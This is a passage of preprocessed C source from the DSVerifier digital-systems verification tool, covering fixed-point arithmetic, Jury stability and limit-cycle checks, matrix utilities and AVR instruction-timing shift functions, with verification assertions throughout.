-0.170228277851921f, -0.346809954182150f, 0.956058632188011f, 0.0315623945930987f, 0.509027121691627f, -0.147826185909834f, 0.717423768198044f, -0.153258078639530f, -0.586190749016474f, 0.122228033051868f, -0.884999045468193f, -0.364729711773548f, 0.0869976154696972f, -0.793532199218799f, 0.533748273468951f, -0.852754376244435f, 0.294752047699830f, 0.136764278163013f, 0.838074791168389f, 0.795224598541123f, -0.778005568697498f, -0.260924769562304f, -0.303759147861313f, 0.273726011325558f, 0.530476779331216f, 0.0866801234357086f, 0.0677702376031544f, 0.724353404182035f, -0.974710312543683f, 0.791838170482991f, 0.247768259921660f, 0.979431048271259f, -0.386992541899814f, 0.0640038231299192f, -0.00457726816166693f, 0.371455553726539f, 0.647649995487707f, 0.268304945808406f, -0.320428608173924f, 0.0927511620029309f, 0.256010036486838f, 0.740396212690346f, -0.656873241472848f, 0.823534292439413f, -0.820380362458844f, -0.453300307443023f, 0.784238355222248f, 0.912791840124321f, 0.0999478035440859f, -0.212620916988855f, 0.0170290625008669f, -0.589062380565879f, -0.171833624145497f, -0.524918122866141f, 0.961528292650892f, 0.101262818636430f, 0.941455114569308f, -0.967226220138929f, 0.616781547648562f, -0.913823148383971f, 0.274508821885917f, 0.924653374107756f, -0.866302908989783f, 0.227541907715857f, 0.0907574361370582f, -0.127499097943315f, -0.942071371521895f, -0.119419163649152f, 0.674284088819523f, 0.881328505929745f, 0.246290207551702f, 0.0547607254148590f, -0.462882918359077f, 0.888969728230585f, 0.666583509571921f, 0.238417203582380f, -0.279842248122727f, 0.855260336845903f, 0.314306869401155f, -0.188654877893078f, -0.609304918228150f, 0.169453885325888f, 0.265617874907016f, -0.943423537926184f, 0.493118676869450f, -0.386147750024858f, 0.0103920154342951f, 0.753677832518483f, 0.363353012331066f, -0.286620106520429f, -0.623332994906295f, 0.183966714365642f, -0.124278942882867f, -0.687889346448110f, -0.509002319646341f, -0.705769785650865f, 0.600586126467172f, 0.814989294939922f, 0.198959025256652f, 0.477897007911356f, 0.757957814363899f, 0.617755921094230f, -0.353589871947529f, 0.419688673189503f, -0.860584865805600f, -0.0232779635193843f, -0.789951030889387f, -0.893196700185750f, 0.610996462535201f, 0.847373590985131f, -0.989553358501822f, -0.367651771428081f, 0.741563712056747f, -0.923595352848971f, -0.580174215739367f, 0.577092000574232f, -0.910872910110270f, -0.907499077314190f, 0.692372247654077f, 0.810694134592084f, -0.608596332548047f, 0.761254615051625f, 0.0546240611947364f, -0.393956427117691f, -0.116127831535139f, -0.0352014590913388f, 0.374742194768889f, -0.927344099730091f, 0.939301337232488f, -0.969831716293845f, -0.0489333404770240f, -0.586719398908953f, 0.0235541378462407f, 0.388882981728285f, -0.0728483242295113f, 0.418280445244943f, -0.574289337805456f, -0.779962057565259f, -0.835190719754123f, 0.918717316922657f, -0.765889988109173f, -0.935310664146932f, -0.0750906135370848f, -0.256246546197534f, 0.693865929543926f, 0.592800255527084f, 0.836743344551035f, -0.801953470827580f, 0.0595524153568945f, 0.158376549012192f, -0.429364776412726f, -0.450531184162532f, -0.169317185285268f, 0.420344570579195f, -0.902838087574441f, -0.654676904337469f, 0.941802178622893f, -0.411034608875500f, -0.455381371659872f, 0.582371240315256f, -0.276150504466756f, 0.164276403376185f, -0.960238817086774f, 0.590055303394028f, -0.995185688656226f, -0.285809748360467f, -0.792066171752882f, -0.456123303649101f, -0.864169187700384f, 0.798745251308383f, -0.517673464079948f, 0.523086536900369f, 0.398784615211052f, 0.908677185333852f, -0.434846969584770f, -0.277024535706464f, 0.575800013122065f, -0.0423952171673019f, -0.327530749916683f, -0.401220909875065f, -0.232577533032385f, 0.577630268254944f, -0.733290201484409f, -0.297499739456838f, 0.166541885572822f, -0.646828619904039f, 0.0312662656272755f, 0.754145050600965f, -0.908499825108811f, 0.315379190361296f, 0.366242661082351f, 0.867903806940678f, -0.613391940567782f, 0.00760147209048068f, 0.953424134034927f, -0.812551125910811f, 0.734998935207065f, 0.781720854678504f, -0.653974423413561f, 0.612587888218526f, -0.297359914095386f, -0.409559158758694f, -0.143962230212734f, -0.814888102841114f, 0.359131810502055f, 0.356924557741016f, -0.872415989401612f, 0.716849887848809f, -0.374916928585818f, -0.0702264435280595f, 0.329843438660215f, 0.0956097573088677f, -0.937528128860310f, -0.322293489817529f, 0.781444964993177f, -0.810141738751828f, -0.150295079242497f, 0.846909181293597f, -0.128124277517711f, -0.752611695817661f, 0.839996835828451f, -0.0705685941510277f, 0.000366462394740585f, 0.0788016995849923f, -0.246053200655556f, -0.156645099915028f, -0.460752333796863f, 0.622021359864204f, 0.722871957583123f, -0.257873353238499f, -0.309810184480446f, 0.765248644407833f, -0.553316047243663f, -0.612742789838491f, 0.354017349601509f, 0.923293368553697f, 0.630695912377860f, -0.148750121613537f, -0.821801680234240f, 0.368247966228196f, 0.405416044101496f, -0.803232509711354f, -0.429778551911399f, -0.723837414527446f, -0.963925147452133f, 0.190882872226757f, 0.477008077263598f, -0.661282403679070f, 0.271643442525556f, -0.915994079618801f, 0.196564556546175f, 0.378359035245796f, 0.584016730657668f, -0.0377864332655202f, -0.327376192853106f, 0.850744189707984f, 0.799571679043808f, -0.111126908452029f, 0.525587242291601f, -0.404486180733535f, -0.134496922397279f, 0.0890128096708100f, -0.815560643303157f, -0.920166023598312f, -0.360079578314899f, -0.556238898466371f, -0.220978103133838f, -0.571530268052405f, 0.573332217175226f, -0.133862258696460f, -0.982130330352248f, -0.352538465285082f, 0.318683937697894f, -0.790927430842686f, 0.691168535237102f, 0.806014327242002f, -0.981639450008060f, 0.407200095027265f, 0.918249921845949f, 0.776880149695420f, -0.437773083955269f, -0.385117533333437f, 0.0115152415796460f, 0.687224538003991f, 0.992524870612626f, 0.471003324792228f, -0.873541777412034f, -0.560923118634380f, -0.726151823613842f, -0.538941951730010f, 0.772057551475325f, 0.858490725829641f, -0.168849338472479f };
# 102 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t wrap(fxp_t kX, fxp_t kLowerBound, fxp_t kUpperBound)
{
int32_t range_size = kUpperBound - kLowerBound + 1;
if (kX < kLowerBound){
kX += range_size * ((kLowerBound - kX) / range_size + 1);
}
return kLowerBound + (kX - kLowerBound) % range_size;
}
fxp_t fxp_get_int_part(fxp_t in) {
return ((in < 0) ? -((-in) & _fxp_imask) : in & _fxp_imask);
}
fxp_t fxp_get_frac_part(fxp_t in) {
return ((in < 0) ? -((-in) & _fxp_fmask) : in & _fxp_fmask);
}
float fxp_to_float(fxp_t fxp);
fxp_t fxp_quantize(fxp_t aquant) {
if (overflow_mode == 2) {
if(aquant < _fxp_min) {
return _fxp_min;
}
else if(aquant > _fxp_max) {
return _fxp_max;
}
}
else if (overflow_mode == 3) {
if(aquant < _fxp_min || aquant > _fxp_max) {
return wrap(aquant, _fxp_min, _fxp_max);
}
}
return (fxp_t) aquant;
}
void fxp_verify_overflow(fxp_t value){
fxp_quantize(value);
printf("An Overflow Occurred in system's output");
__DSVERIFIER_assert(value <= _fxp_max && value >= _fxp_min);
}
void fxp_verify_overflow_node(fxp_t value, char* msg){
if (1 == 2)
{
printf("%s",msg);
__DSVERIFIER_assert(value <= _fxp_max && value >= _fxp_min);
}
}
void fxp_verify_overflow_array(fxp_t array[], int n){
int i=0;
for(i=0; i<n;i++){
fxp_verify_overflow(array[i]);
}
}
fxp_t fxp_int_to_fxp(int in) {
fxp_t lin;
lin = (fxp_t) in*_fxp_one;
return lin;
}
int fxp_to_int(fxp_t fxp) {
if(fxp >= 0){
fxp += _fxp_half;
} else {
fxp -= _fxp_half;
}
fxp >>= impl.frac_bits;
return (int) fxp;
}
fxp_t fxp_float_to_fxp(float f) {
fxp_t tmp;
double ftemp;
ftemp = f * scale_factor[impl.frac_bits];
if(f >= 0) {
tmp = (fxp_t)(ftemp + 0.5);
}
else {
tmp = (fxp_t)(ftemp - 0.5);
}
return tmp;
}
fxp_t fxp_double_to_fxp(double value) {
fxp_t tmp;
double ftemp = value * scale_factor[impl.frac_bits];
if (rounding_mode == 0){
if(value >= 0) {
tmp = (fxp_t)(ftemp + 0.5);
}
else {
tmp = (fxp_t)(ftemp - 0.5);
}
} else if(rounding_mode == 1){
tmp = (fxp_t) ftemp;
double residue = ftemp - tmp;
if ((value < 0) && (residue != 0)){
ftemp = ftemp - 1;
tmp = (fxp_t) ftemp;
}
} else if (rounding_mode == 0){
tmp = (fxp_t) ftemp;
}
return tmp;
}
void fxp_float_to_fxp_array(float f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
r[i] = fxp_float_to_fxp(f[i]);
}
}
void fxp_double_to_fxp_array(double f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
r[i] = fxp_double_to_fxp(f[i]);
}
}
# 275 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
float fxp_to_float(fxp_t fxp) {
float f;
int f_int = (int) fxp;
f = f_int * scale_factor_inv[impl.frac_bits];
return f;
}
double fxp_to_double(fxp_t fxp) {
double f;
int f_int = (int) fxp;
f = f_int * scale_factor_inv[impl.frac_bits];
return f;
}
void fxp_to_float_array(float f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
f[i] = fxp_to_float(r[i]);
}
}
void fxp_to_double_array(double f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
f[i] = fxp_to_double(r[i]);
}
}
fxp_t fxp_abs(fxp_t a) {
fxp_t tmp;
tmp = ((a < 0) ? -(fxp_t)(a) : a);
tmp = fxp_quantize(tmp);
return tmp;
}
fxp_t fxp_add(fxp_t aadd, fxp_t badd) {
fxp_t tmpadd;
tmpadd = ((fxp_t)(aadd) + (fxp_t)(badd));
tmpadd = fxp_quantize(tmpadd);
return tmpadd;
}
fxp_t fxp_sub(fxp_t asub, fxp_t bsub) {
fxp_t tmpsub;
tmpsub = (fxp_t)((fxp_t)(asub) - (fxp_t)(bsub));
tmpsub = fxp_quantize(tmpsub);
return tmpsub;
}
fxp_t fxp_mult(fxp_t amult, fxp_t bmult) {
fxp_t tmpmult, tmpmultprec;
tmpmult = (fxp_t)((fxp_t)(amult)*(fxp_t)(bmult));
if (tmpmult >= 0) {
tmpmultprec = (tmpmult + ((tmpmult & 1 << (impl.frac_bits - 1)) << 1)) >> impl.frac_bits;
} else {
tmpmultprec = -(((-tmpmult) + (((-tmpmult) & 1 << (impl.frac_bits - 1)) << 1)) >> impl.frac_bits);
}
tmpmultprec = fxp_quantize(tmpmultprec);
return tmpmultprec;
}
# 372 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t fxp_div(fxp_t a, fxp_t b){
__DSVERIFIER_assume( b!=0 );
fxp_t tmpdiv = ((a << impl.frac_bits) / b);
tmpdiv = fxp_quantize(tmpdiv);
return tmpdiv;
}
fxp_t fxp_neg(fxp_t aneg) {
fxp_t tmpneg;
tmpneg = -(fxp_t)(aneg);
tmpneg = fxp_quantize(tmpneg);
return tmpneg;
}
# 398 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t fxp_sign(fxp_t a) {
return ((a == 0) ? 0 : ((a < 0) ? _fxp_minus_one : _fxp_one) );
}
fxp_t fxp_shrl(fxp_t in, int shift) {
return (fxp_t) (((unsigned int) in) >> shift);
}
fxp_t fxp_square(fxp_t a) {
return fxp_mult(a, a);
}
void fxp_print_int(fxp_t a) {
printf("\n%i", (int32_t)a);
}
void fxp_print_float(fxp_t a) {
printf("\n%f", fxp_to_float(a));
}
void fxp_print_float_array(fxp_t a[], int N) {
int i;
for(i = 0; i < N; ++i) {
printf("\n%f", fxp_to_float(a[i]));
}
}
void print_fxp_array_elements(char * name, fxp_t * v, int n){
printf("%s = {", name);
int i;
for(i=0; i < n; i++){
printf(" %jd ", v[i]);
}
printf("}\n");
}
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 1
# 24 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
void initialize_array(double v[], int n){
int i;
for(i=0; i<n; i++){
v[i] = 0;
}
}
void revert_array(double v[], double out[], int n){
initialize_array(out,n);
int i;
for(i=0; i<n; i++){
out[i] = v[n-i-1];
}
}
double internal_pow(double a, double b){
int i;
double acc = 1;
for (i=0; i < b; i++){
acc = acc*a;
}
return acc;
}
double internal_abs(double a){
return a < 0 ? -a : a;
}
int fatorial(int n){
return n == 0 ? 1 : n * fatorial(n-1);
}
int check_stability(double a[], int n){
int lines = 2 * n - 1;
int columns = n;
double m[lines][n];
int i,j;
double current_stability[n];
for (i=0; i < n; i++){
current_stability[i] = a[i];
}
double sum = 0;
for (i=0; i < n; i++){
sum += a[i];
}
if (sum <= 0){
printf("[DEBUG] the first constraint of Jury criteria failed: (F(1) > 0)");
return 0;
}
sum = 0;
for (i=0; i < n; i++){
sum += a[i] * internal_pow(-1, n-1-i);
}
sum = sum * internal_pow(-1, n-1);
if (sum <= 0){
printf("[DEBUG] the second constraint of Jury criteria failed: (F(-1)*(-1)^n > 0)");
return 0;
}
if (internal_abs(a[n-1]) > a[0]){
printf("[DEBUG] the third constraint of Jury criteria failed: (abs(a0) < a_{n}*z^{n})");
return 0;
}
for (i=0; i < lines; i++){
for (j=0; j < columns; j++){
m[i][j] = 0;
}
}
for (i=0; i < lines; i++){
for (j=0; j < columns; j++){
if (i == 0){
m[i][j] = a[j];
continue;
}
if (i % 2 != 0 ){
int x;
for(x=0; x<columns;x++){
m[i][x] = m[i-1][columns-x-1];
}
columns = columns - 1;
j = columns;
}else{
m[i][j] = m[i-2][j] - (m[i-2][columns] / m[i-2][0]) * m[i-1][j];
}
}
}
int first_is_positive = m[0][0] >= 0 ? 1 : 0;
for (i=0; i < lines; i++){
if (i % 2 == 0){
int line_is_positive = m[i][0] >= 0 ? 1 : 0;
if (first_is_positive != line_is_positive){
return 0;
}
continue;
}
}
return 1;
}
void poly_sum(double a[], int Na, double b[], int Nb, double ans[], int Nans){
int i;
Nans = Na>Nb? Na:Nb;
for (i=0; i<Nans; i++){
if (Na>Nb){
ans[i]=a[i];
if (i > Na-Nb-1){
ans[i]=ans[i]+b[i-Na+Nb];
}
}else {
ans[i]=b[i];
if (i> Nb - Na -1){
ans[i]=ans[i]+a[i-Nb+Na];
}
}
}
}
void poly_mult(double a[], int Na, double b[], int Nb, double ans[], int Nans){
int i;
int j;
int k;
Nans = Na+Nb-1;
for (i=0; i<Na; i++){
for (j=0; j<Nb; j++){
k= Na + Nb - i - j - 2;
ans[k]=0;
}
}
for (i=0; i<Na; i++){
for (j=0; j<Nb; j++){
k= Na + Nb - i - j - 2;
ans[k]=ans[k]+a[Na - i - 1]*b[Nb - j - 1];
}
}
}
void double_check_oscillations(double * y, int y_size){
__DSVERIFIER_assume(y[0] != y[y_size - 1]);
int window_timer = 0;
int window_count = 0;
int i, j;
for (i = 2; i < y_size; i++){
int window_size = i;
for(j=0; j<y_size; j++){
if (window_timer > window_size){
window_timer = 0;
window_count = 0;
}
int window_index = j + window_size;
if (window_index < y_size){
if (y[j] == y[window_index]){
window_count++;
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
((void) sizeof ((
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
!(window_count == window_size)
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
!(window_count == window_size)
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
) ; else __assert_fail (
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
"!(window_count == window_size)"
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h", 209, __extension__ __PRETTY_FUNCTION__); }))
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
;
}
}else{
break;
}
window_timer++;
}
}
}
void double_check_limit_cycle(double * y, int y_size){
double reference = y[y_size - 1];
int idx = 0;
int window_size = 1;
for(idx = (y_size-2); idx >= 0; idx--){
if (y[idx] != reference){
window_size++;
}else{
break;
}
}
__DSVERIFIER_assume(window_size != y_size && window_size != 1);
printf("window_size %d\n", window_size);
int desired_elements = 2 * window_size;
int found_elements = 0;
for(idx = (y_size-1); idx >= 0; idx--){
if (idx > (y_size-window_size-1)){
printf("%.0f == %.0f\n", y[idx], y[idx-window_size]);
int cmp_idx = idx - window_size;
if ((cmp_idx > 0) && (y[idx] == y[idx-window_size])){
found_elements = found_elements + 2;
}else{
break;
}
}
}
printf("desired_elements %d\n", desired_elements);
printf("found_elements %d\n", found_elements);
__DSVERIFIER_assert(desired_elements != found_elements);
}
void double_check_persistent_limit_cycle(double * y, int y_size){
int idy = 0;
int count_same = 0;
int window_size = 0;
double reference = y[0];
for(idy = 0; idy < y_size; idy++){
if (y[idy] != reference){
window_size++;
} else if (window_size != 0){
break;
} else {
count_same++;
}
}
window_size += count_same;
__DSVERIFIER_assume(window_size > 1 && window_size <= y_size/2);
double lco_elements[window_size];
for(idy = 0; idy < y_size; idy++){
if (idy < window_size){
lco_elements[idy] = y[idy];
}
}
idy = 0;
int lco_idy = 0;
_Bool is_persistent = 0;
while (idy < y_size){
if(y[idy++] == lco_elements[lco_idy++]){
is_persistent = 1;
}else{
is_persistent = 0;
break;
}
if (lco_idy == window_size){
lco_idy = 0;
}
}
__DSVERIFIER_assert(is_persistent == 0);
}
void print_array_elements(char * name, double * v, int n){
printf("%s = {", name);
int i;
for(i=0; i < n; i++){
printf(" %.32f ", v[i]);
}
printf("}\n");
}
void double_add_matrix( unsigned int lines, unsigned int columns, double m1[4][4], double m2[4][4], double result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
result[i][j] = m1[i][j] + m2[i][j];
}
}
}
void double_sub_matrix( unsigned int lines, unsigned int columns, double m1[4][4], double m2[4][4], double result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
result[i][j] = m1[i][j] - m2[i][j];
}
}
}
void double_matrix_multiplication( unsigned int i1, unsigned int j1, unsigned int i2, unsigned int j2, double m1[4][4], double m2[4][4], double m3[4][4]){
unsigned int i, j, k;
if (j1 == i2) {
for (i=0; i<i1; i++) {
for (j=0; j<j2; j++) {
m3[i][j] = 0;
}
}
for (i=0;i<i1; i++) {
for (j=0; j<j2; j++) {
for (k=0; k<j1; k++) {
double mult = (m1[i][k] * m2[k][j]);
m3[i][j] = m3[i][j] + (m1[i][k] * m2[k][j]);
}
}
}
} else {
printf("\nError! Operation invalid, please enter with valid matrices.\n");
}
}
void fxp_matrix_multiplication( unsigned int i1, unsigned int j1, unsigned int i2, unsigned int j2, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t m3[4][4]){
unsigned int i, j, k;
if (j1 == i2) {
for (i=0; i<i1; i++) {
for (j=0; j<j2; j++) {
m3[i][j] = 0;
}
}
for (i=0;i<i1; i++) {
for (j=0; j<j2; j++) {
for (k=0; k<j1; k++) {
m3[i][j] = fxp_add( m3[i][j], fxp_mult(m1[i][k] , m2[k][j]));
}
}
}
} else {
printf("\nError! Operation invalid, please enter with valid matrices.\n");
}
}
void fxp_exp_matrix(unsigned int lines, unsigned int columns, fxp_t m1[4][4], unsigned int expNumber, fxp_t result[4][4]){
unsigned int i, j, l, k;
fxp_t m2[4][4];
if(expNumber == 0){
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
if(i == j){
result[i][j] = fxp_double_to_fxp(1.0);
} else {
result[i][j] = 0.0;
}
}
}
return;
}
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = m1[i][j];
if(expNumber == 1){
return;
}
for(l = 1; l < expNumber; l++){
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) m2[i][j] = result[i][j];
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = 0;
for (i=0;i<lines; i++) {
for (j=0; j<columns; j++) {
for (k=0; k<columns; k++) {
result[i][j] = fxp_add( result[i][j], fxp_mult(m2[i][k] , m1[k][j]));
}
}
}
}
}
void double_exp_matrix(unsigned int lines, unsigned int columns, double m1[4][4], unsigned int expNumber, double result[4][4]){
unsigned int i, j, k, l;
double m2[4][4];
if(expNumber == 0){
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
if(i == j){
result[i][j] = 1.0;
} else {
result[i][j] = 0.0;
}
}
}
return;
}
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = m1[i][j];
if(expNumber == 1){
return;
}
for(l = 1; l < expNumber; l++){
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) m2[i][j] = result[i][j];
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = 0;
for (i=0;i<lines; i++) {
for (j=0; j<columns; j++) {
for (k=0; k<columns; k++) {
result[i][j] = result[i][j] + (m2[i][k] * m1[k][j]);
}
}
}
}
}
void fxp_add_matrix( unsigned int lines, unsigned int columns, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) {
result[i][j] = fxp_add(m1[i][j] , m2[i][j]);
}
}
void fxp_sub_matrix( unsigned int lines, unsigned int columns, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = fxp_sub(m1[i][j] , m2[i][j]);
}
void print_matrix(double matrix[4][4], unsigned int lines, unsigned int columns){
printf("\nMatrix\n=====================\n\n");
unsigned int i, j;
for (i=0; i<lines; i++) {
for (j=0; j<columns; j++) {
printf("#matrix[%d][%d]: %2.2f ", i,j,matrix[i][j]);
}
printf("\n");
}
printf("\n");
}
double determinant(double a[4][4],int n)
{
int i,j,j1,j2;
double det = 0;
double m[4][4];
if (n < 1) {
} else if (n == 1) {
det = a[0][0];
} else if (n == 2) {
det = a[0][0] * a[1][1] - a[1][0] * a[0][1];
} else {
det = 0;
for (j1=0;j1<n;j1++) {
for (i=0;i<n-1;i++)
for (i=1;i<n;i++) {
j2 = 0;
for (j=0;j<n;j++) {
if (j == j1)
continue;
m[i-1][j2] = a[i][j];
j2++;
}
}
det += internal_pow(-1.0,1.0+j1+1.0) * a[0][j1] * determinant(m,n-1);
}
}
return(det);
}
double fxp_determinant(fxp_t a_fxp[4][4],int n)
{
int i,j,j1,j2;
double a[4][4];
for(i=0; i<n;i++){
for(j=0; j<n;j++){
a[i][j]= fxp_to_double(a_fxp[i][j]);
}
}
double det = 0;
double m[4][4];
if (n < 1) {
} else if (n == 1) {
det = a[0][0];
} else if (n == 2) {
det = a[0][0] * a[1][1] - a[1][0] * a[0][1];
} else {
det = 0;
for (j1=0;j1<n;j1++) {
for (i=0;i<n-1;i++)
for (i=1;i<n;i++) {
j2 = 0;
for (j=0;j<n;j++) {
if (j == j1)
continue;
m[i-1][j2] = a[i][j];
j2++;
}
}
det += internal_pow(-1.0,1.0+j1+1.0) * a[0][j1] * determinant(m,n-1);
}
}
return(det);
}
void transpose(double a[4][4], double b[4][4],int n, int m)
{
int i,j;
for (i=0;i<n;i++) {
for (j=0;j<m;j++) {
b[j][i] = a[i][j];
}
}
}
void fxp_transpose(fxp_t a[4][4], fxp_t b[4][4],int n, int m)
{
int i,j;
for (i=0;i<n;i++) {
for (j=0;j<m;j++) {
b[j][i] = a[i][j];
}
}
}
# 24 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
extern int generic_timer;
extern hardware hw;
double generic_timing_shift_l_double(double zIn, double z[], int N) {
generic_timer += ((2 * hw.assembly.push) + (3 * hw.assembly.in) + (3 * hw.assembly.out) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (8 * hw.assembly.std));
int i;
double zOut;
zOut = z[0];
generic_timer += ((5 * hw.assembly.ldd) + (2 * hw.assembly.mov) + (4 * hw.assembly.std) + (1 * hw.assembly.ld));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (i = 0; i < N - 1; i++) {
generic_timer += ((17 * hw.assembly.ldd) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (6 * hw.assembly.mov) + (2 * hw.assembly.adiw) + (5 * hw.assembly.std) + (1 * hw.assembly.ld) + (1 * hw.assembly.st) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbc)+ (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
z[i] = z[i + 1];
}
z[N - 1] = zIn;
generic_timer += ((12 * hw.assembly.ldd) + (6 * hw.assembly.mov) + (3 * hw.assembly.std) + (2 * hw.assembly.lsl) + (2 * hw.assembly.rol) + (1 * hw.assembly.adc) + (1 * hw.assembly.add) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in)+ (1 * hw.assembly.cli));
generic_timer += ((3 * hw.assembly.out) + (2 * hw.assembly.pop) + (1 * hw.assembly.ret));
return (zOut);
}
double generic_timing_shift_r_double(double zIn, double z[], int N) {
generic_timer += ((2 * hw.assembly.push) + (3 * hw.assembly.in) + (3 * hw.assembly.out) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (8 * hw.assembly.std));
int i;
double zOut;
zOut = z[N - 1];
generic_timer += ((7 * hw.assembly.ldd) + (2 * hw.assembly.rol) + (2 * hw.assembly.lsl) + (2 * hw.assembly.mov) + (4 * hw.assembly.std) + (1 * hw.assembly.add) + (1 * hw.assembly.adc) + (1 * hw.assembly.ld) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci));
generic_timer += ((2 * hw.assembly.ldd) + (2 * hw.assembly.std) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.rjmp));
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
generic_timer += ((15 * hw.assembly.ldd) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (4 * hw.assembly.mov) + (5 * hw.assembly.std) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.ld) + (1 * hw.assembly.st) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
}
z[0] = zIn;
generic_timer += ((10 * hw.assembly.ldd) + (5 * hw.assembly.mov) + (3 * hw.assembly.std) + (3 * hw.assembly.out) + (2 * hw.assembly.pop) + (1 * hw.assembly.ret) + (1 * hw.assembly.ret) + (1 * hw.assembly.cli) + (1 * hw.assembly.in) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw));
return zOut;
}
fxp_t shiftL(fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
fxp_t shiftR(fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
float shiftLfloat(float zIn, float z[], int N) {
int i;
float zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
float shiftRfloat(float zIn, float z[], int N) {
int i;
float zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
double shiftRDdouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
double shiftRdouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
double shiftLDouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
void shiftLboth(float zfIn, float zf[], fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
float zfOut;
zOut = z[0];
zfOut = zf[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
